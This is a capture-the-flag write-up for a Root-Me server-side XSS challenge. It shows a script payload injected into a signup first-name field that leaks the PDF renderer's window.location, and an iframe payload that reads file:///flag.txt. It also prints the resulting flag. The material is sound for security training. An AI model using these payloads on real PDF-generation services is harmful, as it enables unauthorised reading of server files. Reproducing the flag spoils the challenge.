

XSS - Server Side

Reference: <https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf>

- When i try to inject xss payload in the input of message, the pdf file doesn't show anything.
- However, if i try to inject in the firstname, it shows window.location successfully
 - Payload to get window.location

```
<script>document.write(JSON.stringify(window.location))</script>
```

- Inject the payload in the firstname signup

The screenshot shows a web application interface with a 'Sign up' form. A green message box says 'You have been successfully registered.' Below the form are input fields for 'Login' and 'First name'. To the right, a network request inspector is open, showing a 'Selected text' box with the payload: `<script>document.write(JSON.stringify(window.location))</script>`. The 'Decoded from' dropdown is set to 'URL encoding'. Below this, a table lists request attributes, body parameters, cookies, headers, and response headers.

- show window.location in pdf file



Root-Me certification

We, Root-Me, certify that M.
{"origin":"file:///\","hash":"\","href":"file:///tmp/tmp_wkhtmlto_pdf_pQpCgs.html\","pathname":"/tmp/tmp_wkhtmlto_pdf_pQpCgs.html\","hostname":"\","protocol":"file:~\","port":"\","host":
asd is a member of the Root-Me community and is active on our platform.
We also certify the following statements:

Sincerely,
The Root-Me team

- Next, i try to read the local file like flag.txt

```
<iframe src=file:///flag.txt></iframe>
```

The screenshot shows a web browser interface with a 'Sign up' form and a green message box stating 'You have been successfully registered.' Below the form is a 'Login' section with an input field. To the left, a network inspector shows a POST request to '/signup.php' with a body containing a payload. The 'Decoded from' section shows the decoded payload: `<iframe src=file:///flag.txt></iframe>`. The 'Selected text' section shows the decoded payload: `<iframe src=file:///flag.txt></iframe>`.



Root-Me certification

s3rv3r_s1d3_xss_1s_w4y_m0r3_fun

We, Root-Me, certify that M. is a member of the Root-Me community and is active on our platform. We also certify the following statements:

Sincerely,
The Root-Me team